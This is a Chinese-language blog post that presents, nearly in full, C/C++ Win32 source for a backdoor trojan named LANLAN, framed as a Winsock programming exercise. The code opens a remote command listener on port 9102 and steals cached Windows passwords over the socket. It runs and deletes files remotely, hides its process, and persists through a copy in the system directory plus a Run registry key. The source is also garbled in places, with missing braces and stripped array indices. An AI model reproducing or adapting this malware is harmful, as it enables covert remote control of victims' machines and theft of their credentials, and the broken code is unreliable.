一個簡單木馬例子

寫文章一般都賦源代碼.除關鍵部分外向來不愛打太多說明性文字,因為覺得這樣

才比較實際,關于那些函數用法和功能大可以去翻書,哪裡講的比誰都詳細.

這裡給了一個用異步SOCKET方式, 直接調用WINSOCK API,WIN SDK寫的木馬(VC,C++ BUILDER下均編譯,調試通過),無須用戶端,編譯後才幾十K.實作了些主要功能,檔案浏覽,上傳,下載下傳(均支援統配符),改變目錄,擷取系統資訊,從CACHE取密碼, 執行檔案,顯示程序, 發送消息,關機, 還有些控制功能, WIN 9X,NT/2000下均可使用,在NT,2000下,因考慮到如CMD.EXE已改名或不存在,那麼程式将毫無用處. 是以并沒有調用CMD.EXE來完成,全部由自己來做,WIN API實作.要想自己程式通用就不要怕麻煩.建議那些用現成控件寫木馬和網絡通訊的朋友應該看看,去熟悉這些根本所在, 尤其是在網絡通訊方面.如果你是個程式員我想大可不必用我多說,在開發中還沒見過哪家公司讓用現成類 (MFC,VCL)來做的.

此程式還不很健壯,寫完後也沒來的及優化,主要是拿來讓大家熟悉一下WINSOCK和WIN SDK程式設計.

//---------------------------------------------------------------------------

// WINSOCK API,WIN SDK程式設計,無需用戶端

// 作者: 賈佳

//---------------------------------------------------------------------------

#include <windows.h>

#include <winsock.h>

#include <mmsystem.h>

#pragma hdrstop

#include <condefs.h>

#pragma argsused

#define RUN "//WinMon32.exe"

//注冊服務

#define SERVICE_PROC 1

//解除安裝服務

#define UNSERVICE_PROC 0

#define TH32CS_SNAPPROCESS 0x00000002

#define PROCESS_HANDLE_NAME 255

//緩沖區長度

#define dwBuffSize 2048

//指令行長度

#define dwComm 50

#define PORT 9102

#define WM_SOCKET WM_USER+1

#define PROMPT "LanLan://>"

DWORD dwVersion=MAKEWORD(1,1);

DWORD dwFlag=TRUE;

WSADATA wsaData;

SOCKET CreateSock,NewSock;

SOCKADDR_IN Sock_in,NewSock_in;

LPTSTR szReadBuff,Ob,TempBuff;

int addrlen;

//CACHE PASSWORD結構

typedef struct tagPASSWORD_CACHE_ENTRY {

WORD cbEntry;

WORD cbResource;

WORD cbPassword;

BYTE iEntry;

BYTE nType;

char abResource[1];

} PASSWORD_CACHE_ENTRY;

typedef BOOL (WINAPI *CACHECALLBACK)(PASSWORD_CACHE_ENTRY *pce,DWORD);

//CACHE PASSWORD函數原形

typedef WORD (WINAPI *PWNetEnumCachedPasswords)(

LPSTR pbPrefix,

DWORD cbPrefix,

DWORD nType,

CACHECALLBACK pfnCallback,

DWORD UNKNOWN

);

//TOOLHELP32 結構

typedef struct tagPROCESSENTRY32

{

DWORD dwSize;

DWORD cntUsage;

DWORD th32ProcessID;

DWORD th32DefaultHeapID;

DWORD th32ModuleID;

DWORD cntThreads;

DWORD th32ParentProcessID;

LONG pcPriClassBase;

DWORD dwFlags;

TCHAR szExeFile[MAX_PATH];

} PROCESSENTRY32;

typedef PROCESSENTRY32 * LPPROCESSENTRY32;

//定義TOOLHELP32,PSAPI函數指針

HANDLE (WINAPI *CreateToolhelp32Snapshot)(DWORD dwFlags,DWORD th32PD);

BOOL (WINAPI *Process32First)(HANDLE hSnapshot,LPPROCESSENTRY32 pe);

BOOL (WINAPI *Process32Next)(HANDLE hSnapshot,LPPROCESSENTRY32 pe);

BOOL (WINAPI *EnumProcesses)(DWORD* lpidProcess,DWORD cb,DWORD *cbNeeded);

DWORD (WINAPI *GetModuleFileNameExA)(HANDLE hProcess,HMODULE hModule,LPTSTR lpstrFileName,DWORD nSize);

HINSTANCE DLLInst;

DWORD (WINAPI *RegisterServiceProcess)(DWORD, DWORD);

//---------------------------------------------------------------------------

// GetOS

// 判斷作業系統

//---------------------------------------------------------------------------

DWORD WINAPI GetOS()

{

OSVERSIONINFO os;

TCHAR sVersion[MAX_PATH];

os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);

GetVersionEx(&os);

switch(os.dwPlatformId)

{

case VER_PLATFORM_WIN32_WINDOWS:

return VER_PLATFORM_WIN32_WINDOWS;

case VER_PLATFORM_WIN32_NT:

return VER_PLATFORM_WIN32_NT;

}

//---------------------------------------------------------------------------

// HideProc

// 注冊程序

//---------------------------------------------------------------------------

BOOL WINAPI HideProc(int mode)

{

DLLInst=LoadLibrary("KERNEL32.DLL");

if(DLLInst)

{

RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD))

GetProcAddress(DLLInst,"RegisterServiceProcess");

if(RegisterServiceProcess)

{

RegisterServiceProcess(GetCurrentProcessId(),mode);

return TRUE;

}

else

return FALSE;

}

else return FALSE;

}

//---------------------------------------------------------------------------

// EnumProcess

// 枚舉程序

//---------------------------------------------------------------------------

//初始化TOOLHELP32

BOOL InitToolHelp32()

{

HINSTANCE DLLinst=LoadLibrary("KERNEL32.DLL");

if(DLLinst)

{

CreateToolhelp32Snapshot=(HANDLE(WINAPI *)(DWORD dwFlags,DWORD th32PD))

GetProcAddress(DLLinst,"CreateToolhelp32Snapshot");

Process32First=(BOOL(WINAPI *)(HANDLE hSnapshot,LPPROCESSENTRY32 pe))

GetProcAddress(DLLinst,"Process32First");

Process32Next=(BOOL(WINAPI *)(HANDLE hSnapshot,LPPROCESSENTRY32 pe))

GetProcAddress(DLLinst,"Process32Next");

if((!(UINT)CreateToolhelp32Snapshot)||(!(UINT)Process32First)||(!(UINT)Process32Next))

return FALSE;

else

return TRUE;

}

return FALSE;

}

//初始化PSAPI

BOOL InitPSAPI()

{

HINSTANCE PSAPI=LoadLibrary("PSAPI.DLL");

if(NULL==PSAPI)

return FALSE;

EnumProcesses=(BOOL(WINAPI *)(DWORD* lpidProcess,DWORD cb,DWORD *cbNeeded))

GetProcAddress(PSAPI,"EnumProcesses");

GetModuleFileNameExA=(DWORD(WINAPI *)(HANDLE hProcess,HMODULE hModule,LPTSTR lpstrFileName,DWORD nSize))

GetProcAddress(PSAPI,"GetModuleFileNameExA");

if(NULL == EnumProcesses||NULL == GetModuleFileName)

return FALSE;

else

return TRUE;

}

VOID WINAPI EnumProcess()

{

HANDLE process[255];

PROCESSENTRY32 p32;

DWORD process_ids[255];

DWORD num_processes;

TCHAR file_name[MAX_PATH];

TCHAR szTemp[MAX_PATH];

unsigned i;

wsprintf(szTemp,"/n/n/r << Process File Name >>/n/n/r");

send(NewSock,szTemp,lstrlen(szTemp),0);

switch(GetOS())

{

case VER_PLATFORM_WIN32_WINDOWS:

if(InitToolHelp32())

{

p32.dwSize=sizeof(PROCESSENTRY32);

HANDLE pName=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);

BOOL Next=Process32First(pName,&p32);

i=0;

while(Next)

{

wsprintf(szTemp,"Process FileName :%s /n/r",p32.szExeFile);

send(NewSock,szTemp,lstrlen(szTemp),0);

process=OpenProcess(PROCESS_TERMINATE,0,p32.th32ProcessID);

Next=Process32Next(pName,&p32);

i++;

}

CloseHandle(pName);

}

break;

case VER_PLATFORM_WIN32_NT:

if(InitPSAPI())

{

EnumProcesses(process_ids,sizeof(process_ids),&num_processes);

for(i=0; i<num_processes; i++)

{

process=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ

,0,process_ids);

if(GetModuleFileNameExA(process,NULL,file_name,sizeof(file_name)))

wsprintf(szTemp,"Process FileName :%s /n/r",file_name);

send(NewSock,szTemp,lstrlen(szTemp),0);

}

CloseHandle(process);

}

break;

}

//---------------------------------------------------------------------------

// GetCachePW

// 取CACHE密碼

//---------------------------------------------------------------------------

BOOL CALLBACK GetPass(PASSWORD_CACHE_ENTRY *pce,DWORD)

{

MoveMemory(szReadBuff,pce->abResource,pce->cbResource);

szReadBuff[pce->cbResource]=0;

CharToOem(szReadBuff,Ob);

wsprintf(TempBuff,"/n/n/r (USERNAME): %s /n/r (PASSWORD): ",Ob);

MoveMemory(szReadBuff,pce->abResource+pce->cbResource,pce->cbPassword);

szReadBuff[pce->cbPassword]=0;

CharToOem(szReadBuff,Ob);

lstrcat(TempBuff,Ob);

send(NewSock,TempBuff,dwBuffSize,0);

return TRUE;

}

BOOL WINAPI GetCachePW()

{

TCHAR szTemp[MAX_PATH];

PWNetEnumCachedPasswords WNetEnumCachedPasswords;

HINSTANCE DLLinst=LoadLibrary("MPR.DLL");

if(!DLLinst)

{

return FALSE;

}

wsprintf(szTemp,"/n/n/r << Win 9x Cache Password >>/n/r");

send(NewSock,szTemp,lstrlen(szTemp),0);

WNetEnumCachedPasswords=(PWNetEnumCachedPasswords)

GetProcAddress(DLLinst,"WNetEnumCachedPasswords");

if(!WNetEnumCachedPasswords)

{

return FALSE;

}

else

{

szReadBuff=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize);

Ob=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize);

TempBuff=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwBuffSize);

WNetEnumCachedPasswords(0,0,0xff,GetPass,0);

HeapFree(GetProcessHeap(),dwBuffSize,szReadBuff);

HeapFree(GetProcessHeap(),dwBuffSize,Ob);

HeapFree(GetProcessHeap(),dwBuffSize,TempBuff);

FreeLibrary(DLLinst);

}

return TRUE;

}

//---------------------------------------------------------------------------

// LoadProcess

// 執行檔案

//---------------------------------------------------------------------------

BOOL WINAPI LoadProcess(LPCTSTR szFileName)

{

STARTUPINFO si;

PROCESS_INFORMATION pi;

ZeroMemory(&si,sizeof(STARTUPINFO));

ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));

si.cb=sizeof(STARTUPINFO);

si.dwFlags=STARTF_USESHOWWINDOW;

si.wShowWindow=SW_SHOWNORMAL;

if(CreateProcess(szFileName,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi)==FALSE)

{

return FALSE;

}

return TRUE;

}

//---------------------------------------------------------------------------

// Dir

// 浏覽檔案,支援統配符

//---------------------------------------------------------------------------

VOID WINAPI Dir(LPCTSTR lParam)

{

WIN32_FIND_DATA wfd;

HANDLE hHandle;

TCHAR szFileName[MAX_PATH];

int i;

wsprintf(szFileName,"/n/n/r");

send(NewSock,szFileName,lstrlen(szFileName),0);

lstrcpy(szFileName,lParam);

if((hHandle=FindFirstFile(szFileName,&wfd))!=INVALID_HANDLE_VALUE)

{

switch(wfd.dwFileAttributes)

{

case FILE_ATTRIBUTE_ARCHIVE:

if(wfd.nFileSizeHigh==0)

wsprintf(szFileName,"%-20s %10lu ARCHIVE/n/r",wfd.cFileName,wfd.nFileSizeLow);

else

wsprintf(szFileName,"%-20s %10lu ARCHIVE/n/r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow);

send(NewSock,szFileName,lstrlen(szFileName),0);

break;

case FILE_ATTRIBUTE_DIRECTORY:

wsprintf(szFileName,"%-20s %10lu <DIR>/n/r",wfd.cFileName,wfd.nFileSizeLow);

send(NewSock,szFileName,lstrlen(szFileName),0);

break;

case FILE_ATTRIBUTE_HIDDEN:

if(wfd.nFileSizeHigh==0)

wsprintf(szFileName,"%-20s %10lu ARCHIVE/n/r",wfd.cFileName,wfd.nFileSizeLow);

else

wsprintf(szFileName,"%-20s %10lu ARCHIVE/n/r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow);

send(NewSock,szFileName,lstrlen(szFileName),0);

break;

case FILE_ATTRIBUTE_READONLY:

if(wfd.nFileSizeHigh==0)

wsprintf(szFileName,"%-20s %10lu ARCHIVE/n/r",wfd.cFileName,wfd.nFileSizeLow);

else

wsprintf(szFileName,"%-20s %10lu ARCHIVE/n/r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow);

send(NewSock,szFileName,lstrlen(szFileName),0);

break;

case FILE_ATTRIBUTE_SYSTEM:

if(wfd.nFileSizeHigh==0)

wsprintf(szFileName,"%-20s %10lu ARCHIVE/n/r",wfd.cFileName,wfd.nFileSizeLow);

else

wsprintf(szFileName,"%-20s %10lu ARCHIVE/n/r",wfd.cFileName,wfd.nFileSizeHigh+wfd.nFileSizeLow);

send(NewSock,szFileName,lstrlen(szFileName),0);

break;

}

}while(FindNextFile(hHandle,&wfd));

}

else

{

wsprintf(szFileName,"Can not find directory or files./n/r");

send(NewSock,szFileName,lstrlen(szFileName),0);

}

//---------------------------------------------------------------------------

// FileOpertion

// 檔案操作函數

//---------------------------------------------------------------------------

BOOL WINAPI FileOpertion(LPCTSTR szFileName1,LPCTSTR szFileName2,DWORD opt)

{

SHFILEOPSTRUCT shf;

TCHAR sr[MAX_PATH];

TCHAR de[MAX_PATH];

lstrcpy(sr,szFileName1);

sr[lstrlen(sr)+1]=‘/0‘;

lstrcpy(de,szFileName2);

de[lstrlen(de)+1]=‘/0‘;

ZeroMemory(&shf,sizeof(shf));

shf.hwnd=NULL;

shf.wFunc=opt;

shf.pFrom=sr;

shf.pTo=de;

shf.fFlags=FOF_ALLOWUNDO|FOF_SILENT|FOF_FILESONLY|FOF_MULTIDESTFILES

|FOF_NOCONFIRMATION|FOF_NOCONFIRMMKDIR;

if(SHFileOperation(&shf))

return FALSE;

else

return TRUE;

}

//---------------------------------------------------------------------------

// Delete

// 删除檔案(隐藏,隻讀),目錄,支援統配符

//---------------------------------------------------------------------------

VOID WINAPI Delete(LPCTSTR lParam)

{

if(!FileOpertion(lParam,"",FO_DELETE))

send(NewSock,"Delete File is Fail",20,0);

else

send(NewSock,"Delete File is OK",17,0);

}

//---------------------------------------------------------------------------

// Copy

// 複制,上傳,下載下傳檔案(需先将自己硬碟設定為完全共享),支援統配符

//---------------------------------------------------------------------------

VOID WINAPI Copy(LPCTSTR lParam1,LPCTSTR lParam2)

{

if(!FileOpertion(lParam1,lParam2,FO_COPY))

send(NewSock,"Copy File is Fail",18,0);

else

send(NewSock,"Copy File is OK",15,0);

}

//---------------------------------------------------------------------------

// Ren

// 檔案,目錄重命名

//---------------------------------------------------------------------------

VOID WINAPI Ren(LPCTSTR lParam1,LPCTSTR lParam2)

{

if(!FileOpertion(lParam1,lParam2,FO_RENAME))

send(NewSock,"Renname File is Fail",21,0);

else

send(NewSock,"Reanme File is OK",18,0);

}

//---------------------------------------------------------------------------

// GetSysInfo

// 擷取系統資訊

//---------------------------------------------------------------------------

VOID WINAPI GetSysInfo()

{

TCHAR szBuff[MAX_PATH];

TCHAR szTemp[MAX_PATH];

wsprintf(szBuff,"/n/n/r<<System Information>>/n/n/r");

send(NewSock,szBuff,lstrlen(szBuff),0);

//計算機名

DWORD len=sizeof(szTemp);

GetComputerName(szTemp,&len);

wsprintf(szBuff,"Computer Name: %s/n/n/r",szTemp);

send(NewSock,szBuff,lstrlen(szBuff),0);

//目前作業系統

switch(GetOS())

{

case VER_PLATFORM_WIN32_WINDOWS:

lstrcpy(szTemp,"Windows 9x");

break;

case VER_PLATFORM_WIN32_NT:

lstrcpy(szTemp,"Windows NT/2000");

break;

}

wsprintf(szBuff,"Option System: %s/n/n/r",szTemp);

send(NewSock,szBuff,lstrlen(szBuff),0);

//記憶體容量

MEMORYSTATUS mem;

mem.dwLength=sizeof(mem);

GlobalMemoryStatus(&mem);

wsprintf(szBuff,"Total Memroy: %dM/n/n/r",mem.dwTotalPhys/1024/1024+1);

send(NewSock,szBuff,lstrlen(szBuff),0);

//系統目錄

TCHAR szPath[MAX_PATH];

GetWindowsDirectory(szTemp,sizeof(szTemp));

GetSystemDirectory(szBuff,sizeof(szBuff));

wsprintf(szPath,"Windows Directory: %s/n/n/rSystem Directory: %s/n/n/r",szTemp,szBuff);

send(NewSock,szPath,lstrlen(szPath),0);

//驅動器及分區類型

TCHAR szFileSys[10];

for(int i=0;i<26;++i)

{

wsprintf(szTemp,"%c://",‘A‘+i);

UINT uType=GetDriveType(szTemp);

switch(uType)

{

case DRIVE_FIXED:

GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH);

wsprintf(szBuff,"Hard Disk: %s (%s)/n/n/r",szTemp,szFileSys);

send(NewSock,szBuff,lstrlen(szBuff),0);

break;

case DRIVE_CDROM:

wsprintf(szBuff,"CD-ROM Disk: %s/n/n/r",szTemp);

send(NewSock,szBuff,lstrlen(szBuff),0);

break;

case DRIVE_REMOTE:

GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH);

wsprintf(szBuff,"NetWork Disk: %s (%s)/n/n/r",szTemp,szFileSys);

send(NewSock,szBuff,lstrlen(szBuff),0);

break;

}

//---------------------------------------------------------------------------

// ExitWin

// 關閉計算機(WIN 9X,NT/2000)

//---------------------------------------------------------------------------

VOID WINAPI ExitWin()

{

DWORD dwVer;

HANDLE hProcess, hToken;

TOKEN_PRIVILEGES NewState;

DWORD ProcessId, ReturnLength = 0;

LUID luidPrivilegeLUID;

dwVer=GetOS();

if(dwVer==VER_PLATFORM_WIN32_WINDOWS)

ExitWindowsEx(1,0);

else if(dwVer==VER_PLATFORM_WIN32_NT)

{

ProcessId = GetCurrentProcessId();

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);

OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken);

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID);

NewState.PrivilegeCount = 1;

NewState.Privileges[0].Luid = luidPrivilegeLUID;

NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))

ExitWindowsEx(EWX_FORCE|EWX_POWEROFF,0);

}

//---------------------------------------------------------------------------

// CtrlCD

// 光驅控制

//---------------------------------------------------------------------------

VOID WINAPI CtrlCD(HWND hWnd,BOOL Ctrl)

{

switch(Ctrl)

{

case TRUE:

mciSendString("Set cdaudio door open wait",NULL,0,hWnd);

break;

case FALSE:

mciSendString("Set cdaudio door closed wait",NULL,0,hWnd);

break;

}

//---------------------------------------------------------------------------

// PopMsg

// 發送消息

//---------------------------------------------------------------------------

VOID WINAPI PopMsg(LPCTSTR message,HWND hWnd)

{

MessageBox(hWnd,message,"PopMsg",MB_OK);

}

//---------------------------------------------------------------------------

// ChangeDir

// 改變目前目錄

//---------------------------------------------------------------------------

BOOL WINAPI ChangeDir(LPCTSTR szDir)

{

if(SetCurrentDirectory(szDir))

return TRUE;

else

return FALSE;

}

//---------------------------------------------------------------------------

// GetCurPath

// 得到目前目錄

//---------------------------------------------------------------------------

VOID WINAPI GetCurPath()

{

TCHAR lpBuff[MAX_PATH];

TCHAR szTemp[MAX_PATH];

GetCurrentDirectory(MAX_PATH,lpBuff);

wsprintf(szTemp,"CurrentDirect: %s/n/r",lpBuff);

send(NewSock,szTemp,lstrlen(szTemp),0);

}

//---------------------------------------------------------------------------

// HSSys

// 顯示,隐藏桌面,工作列

//---------------------------------------------------------------------------

VOID WINAPI HSSys(HWND hWnd,BOOL Ctrl)

{

switch(Ctrl)

{

case FALSE:

hWnd=FindWindow("Progman",NULL);

ShowWindow(hWnd,SW_HIDE);

hWnd=FindWindow("Sh*ll _TrayWnd",NULL);

ShowWindow(hWnd,SW_HIDE);

break;

case TRUE:

hWnd=FindWindow("Progman",NULL);

ShowWindow(hWnd,SW_SHOW);

hWnd=FindWindow("Sh*ll _TrayWnd",NULL);

ShowWindow(hWnd,SW_SHOW);

break;

}

//---------------------------------------------------------------------------

// LockMK

// 鎖定滑鼠,功能鍵

//---------------------------------------------------------------------------

VOID WINAPI LockMK(BOOL Ctrl)

{

RECT rc;

switch(Ctrl)

{

case TRUE:

ZeroMemory(&rc,sizeof(rc));

ClipCursor(&rc);

SystemParametersInfo(SPI_SCREENSAVERRUNNING,TRUE,NULL,0);

SystemParametersInfo(SPI_SETFASTTASKSWITCH,TRUE,NULL,0);

break;

case FALSE:

ClipCursor(NULL);

SystemParametersInfo(SPI_SCREENSAVERRUNNING,FALSE,NULL,0);

SystemParametersInfo(SPI_SETFASTTASKSWITCH,FALSE,NULL,0);

break;

}

//---------------------------------------------------------------------------

// ExeCommand

// 執行指令

//---------------------------------------------------------------------------

VOID ExeCommand(LPCTSTR szCommand,HWND hWnd)

{

TCHAR szBuf[MAX_PATH];

TCHAR Param1[100];

TCHAR Param2[100];

int i;

if((lstrcmp(szCommand,"getpw"))==0)

GetCachePW();

else if((lstrcmp(szCommand,"getinfo"))==0)

GetSysInfo();

else if((lstrcmp(szCommand,"gcpath"))==0)

GetCurPath();

else if((lstrcmp(szCommand,"opencd"))==0)

CtrlCD(hWnd,TRUE);

else if((lstrcmp(szCommand,"closecd"))==0)

CtrlCD(hWnd,FALSE);

else if((lstrcmp(szCommand,"showsys"))==0)

HSSys(hWnd,TRUE);

else if((lstrcmp(szCommand,"hidesys"))==0)

HSSys(hWnd,FALSE);

else if((lstrcmp(szCommand,"lockmk"))==0)

LockMK(TRUE);

else if((lstrcmp(szCommand,"unlock"))==0)

LockMK(FALSE);

else if((lstrcmp(szCommand,"dproc"))==0)

EnumProcess();

else if((lstrcmp(szCommand,"exitwin"))==0)

ExitWin();

else if((strncmp(szCommand,"popmsg",lstrlen("popmsg")))==0)

{

if(lstrlen(szCommand)<=lstrlen("popmsg")+2)

{

send(NewSock,"usage : popmsg Message",28,0);

}

for(i=lstrlen("popmsg")+1;i<lstrlen(szCommand);i++)

if(szCommand==‘ ‘)break;

if(i==lstrlen(szCommand))

{

lstrcpy(Param1,szCommand+lstrlen("popmsg")+1);

PopMsg(Param1,hWnd);

}

else if((strncmp(szCommand,"execfile",lstrlen("execfile")))==0)

{

if(lstrlen(szCommand)<=lstrlen("execfile")+2)

{

send(NewSock,"usage : execfile szFileName",28,0);

}

for(i=lstrlen("execfile")+1;i<lstrlen(szCommand);i++)

if(szCommand==‘ ‘)break;

if(i==lstrlen(szCommand))

{

lstrcpy(Param1,szCommand+lstrlen("execfile")+1);

if(LoadProcess(Param1)==FALSE)

send(NewSock,"execfile Fail",14,0);

else

send(NewSock,"execfile OK",11,0);

}

else if((strncmp(szCommand,"cd",lstrlen("cd")))==0)

{

if(lstrlen(szCommand)<=lstrlen("cd")+2)

{

send(NewSock,"cd Drive//Directory",19,0);

}

for(i=lstrlen("cd")+1;i<lstrlen(szCommand);i++)

if(szCommand==‘ ‘)break;

if(i==lstrlen(szCommand))

{

lstrcpy(Param1,szCommand+lstrlen("cd")+1);

if(ChangeDir(Param1)==FALSE)

send(NewSock,"Change Directory Fail",21,0);

else

send(NewSock,"Change Directory OK",19,0);

}

else if((strncmp(szCommand,"dir",lstrlen("dir")))==0)

{

if(lstrlen(szCommand)<=lstrlen("dir")+2)

{

Dir("*.*");

}

for(i=lstrlen("dir")+1;i<lstrlen(szCommand);i++)

if(szCommand==‘ ‘)break;

if(i==lstrlen(szCommand))

{

lstrcpy(Param1,szCommand+lstrlen("dir")+1);

Dir(Param1);

}

else if((strncmp(szCommand,"del",lstrlen("del")))==0)

{

if(lstrlen(szCommand)<=lstrlen("del")+2)

{

send(NewSock,"usage : DEL szFileName",28,0);

}

for(i=lstrlen("del")+1;i<lstrlen(szCommand);i++)

if(szCommand==‘ ‘)break;

if(i==lstrlen(szCommand))

{

lstrcpy(Param1,szCommand+lstrlen("del")+1);

Delete(Param1);

}

else if((strncmp(szCommand,"copy",lstrlen("copy")))==0)

{

if(lstrlen(szCommand)<=lstrlen("COPY")+2)

{

send(NewSock,"usage : COPY Drive//Filename ",28,0);

return;

}

for(i=lstrlen("copy")+1;i<lstrlen(szCommand);i++)

if(szCommand==‘ ‘)break;

if(i==lstrlen(szCommand))

{

lstrcpy(Param1,szCommand+lstrlen("copy")+1);

lstrcpy(Param2,"");

send(NewSock,"Copy File1 to File2",19,0);

}

else

{

lstrcpy(szBuf,szCommand);

szBuf=0;

lstrcpy(Param1,szBuf+lstrlen("copy")+1);

lstrcpy(Param2,szBuf+i+1);

Copy(Param1,Param2);

}

else if((strncmp(szCommand,"ren",lstrlen("ren")))==0)

{

if(lstrlen(szCommand)<=lstrlen("ren")+2)

{

send(NewSock,"usage : REN Drive//Filename ",28,0);

return;

}

for(i=lstrlen("ren")+1;i<lstrlen(szCommand);i++)

if(szCommand==‘ ‘)break;

if(i==lstrlen(szCommand))

{

lstrcpy(Param1,szCommand+lstrlen("ren")+1);

lstrcpy(Param2,"");

send(NewSock,"Ren File1 to File2",19,0);

}

else

{

lstrcpy(szBuf,szCommand);

szBuf=0;

lstrcpy(Param1,szBuf+lstrlen("ren")+1);

lstrcpy(Param2,szBuf+i+1);

Ren(Param1,Param2);

}

else

send(NewSock,"Bad Command !!!",16,0);

}

//---------------------------------------------------------------------------

// InitSocket

// 初始化SOCKET

//--------------------------------------------------------------------------

BOOL WINAPI InitSocket(HWND hWnd)

{

if((WSAStartup(dwVersion,&wsaData))!=0)

{

MessageBox(hWnd,"INIT SOCKET ERROR",NULL,MB_OK);

return FALSE;

}

CreateSock=socket(AF_INET,SOCK_STREAM,0);

if(CreateSock==SOCKET_ERROR)

{

closesocket(CreateSock);

MessageBox(hWnd,"SOCKET ERROR",NULL,MB_OK);

return FALSE;

}

Sock_in.sin_family=AF_INET;

Sock_in.sin_port=htons(PORT);

Sock_in.sin_addr.S_un.S_addr=htonl(INADDR_ANY);

setsockopt(CreateSock,SOL_SOCKET,SO_REUSEADDR,(LPSTR)&dwFlag,sizeof(dwFlag));

if(bind(CreateSock,(LPSOCKADDR)&Sock_in,sizeof(Sock_in))==SOCKET_ERROR)

{

closesocket(CreateSock);

MessageBox(hWnd,"BIND ERROR",NULL,MB_OK);

return FALSE;

}

else if(listen(CreateSock,3)==SOCKET_ERROR)

{

closesocket(CreateSock);

MessageBox(hWnd,"LISTEN ERROR",NULL,MB_OK);

return FALSE;

}

else if(WSAAsyncSelect(CreateSock,hWnd,WM_SOCKET,FD_ACCEPT|FD_CLOSE)==SOCKET_ERROR)

{

closesocket(CreateSock);

MessageBox(hWnd,"WSASelect ERROR",NULL,MB_OK);

return FALSE;

}

addrlen=sizeof(SOCKADDR_IN);

return TRUE;

}

//---------------------------------------------------------------------------

LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam)

{

static TCHAR szCommand[dwComm];

static TCHAR szExec[dwComm];

switch(message)

{

case WM_SOCKET:

if(WSAGETSELECTERROR(lParam))

{

closesocket(wParam);

break;

}

switch(WSAGETSELECTEVENT(lParam))

{

//連接配接

case FD_ACCEPT:

NewSock=accept(CreateSock,(LPSOCKADDR)&NewSock_in,&addrlen);

WSAAsyncSelect(NewSock,hWnd,WM_SOCKET,FD_READ|FD_WRITE|FD_CLOSE);

wsprintf(szCommand,"LANLAN Ver 1.0 Write by VIRUS/n/n/r%s",PROMPT);

send(NewSock,szCommand,dwComm,0);

break;

//讀取輸入，如是回車則執行指令

//不是将輸入複制到緩沖區

case FD_READ:

ZeroMemory(szCommand,dwComm);

recv(NewSock,szCommand,dwComm,0);

if(szCommand[0]==VK_RETURN)

{

wsprintf(szCommand,"/n/n/r%s",PROMPT);

send(NewSock,szCommand,dwComm,0);

ExeCommand(szExec,hWnd);

ZeroMemory(szExec,dwComm);

}

else

lstrcat(szExec,szCommand);

send(NewSock,szCommand,dwComm,0);

break;

case FD_CLOSE:

closesocket(wParam);

break;

}

break;

case WM_DESTROY:

HideProc(UNSERVICE_PROC);

PostQuitMessage(0);

break;

default:

return DefWindowProc(hWnd,message,wParam,lParam);

}

return 0;

}

//---------------------------------------------------------------------------

WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, int)

{

HWND hWnd;

MSG msg;

WNDCLASS wndc;

LPSTR szAppName="LANLAN";

HKEY hKey=0;

DWORD disp=0;

LONG lResult;

TCHAR szKey[MAX_PATH];

TCHAR szSysDir[MAX_PATH+25];

TCHAR szFileName[MAX_PATH];

wndc.style=0;

wndc.lpfnWndProc=WndProc;

wndc.cbClsExtra=0;

wndc.cbWndExtra=0;

wndc.hInstance=hInstance;

wndc.hIcon=LoadIcon(NULL,IDI_APPLICATION);

wndc.hCursor=LoadCursor(NULL,IDC_ARROW);

wndc.hbrBackground=(HBRUSH)(COLOR_WINDOW+1);

wndc.lpszMenuName=NULL;

wndc.lpszClassName=szAppName;

RegisterClass(&wndc);

hWnd=CreateWindow(szAppName,"LANLANServer",

WS_OVERLAPPEDWINDOW,

CW_USEDEFAULT,CW_USEDEFAULT,

NULL,NULL,hInstance,NULL);

ShowWindow(hWnd,SW_HIDE);

UpdateWindow(hWnd);

if(GetOS()==VER_PLATFORM_WIN32_WINDOWS)

{

HideProc(SERVICE_PROC);

}

InitSocket(hWnd);

//複制檔案到系統目錄

//并加載系統資料庫,自動運作

GetSystemDirectory(szSysDir,MAX_PATH);

lstrcat(szSysDir,RUN);

GetModuleFileName(NULL,szFileName,MAX_PATH);

CopyFile(szFileName,szSysDir,FALSE);

lstrcpy(szKey,"SOFTWARE//Microsoft//Windows//CurrentVersion//Run");

lResult=RegCreateKeyEx(HKEY_LOCAL_MACHINE,szKey,0,NULL,REG_OPTION_VOLATILE,

KEY_ALL_ACCESS,NULL,&hKey,&disp);

if(lResult==ERROR_SUCCESS)

{

lResult=RegSetValueEx(hKey,"WinMon32",0,REG_SZ,szSysDir,lstrlen(szSysDir));

RegCloseKey(hKey);

}

while(GetMessage(&msg,NULL,0,0))

{

TranslateMessage(&msg);

DispatchMessage(&msg);

}

return (msg.wParam);

}

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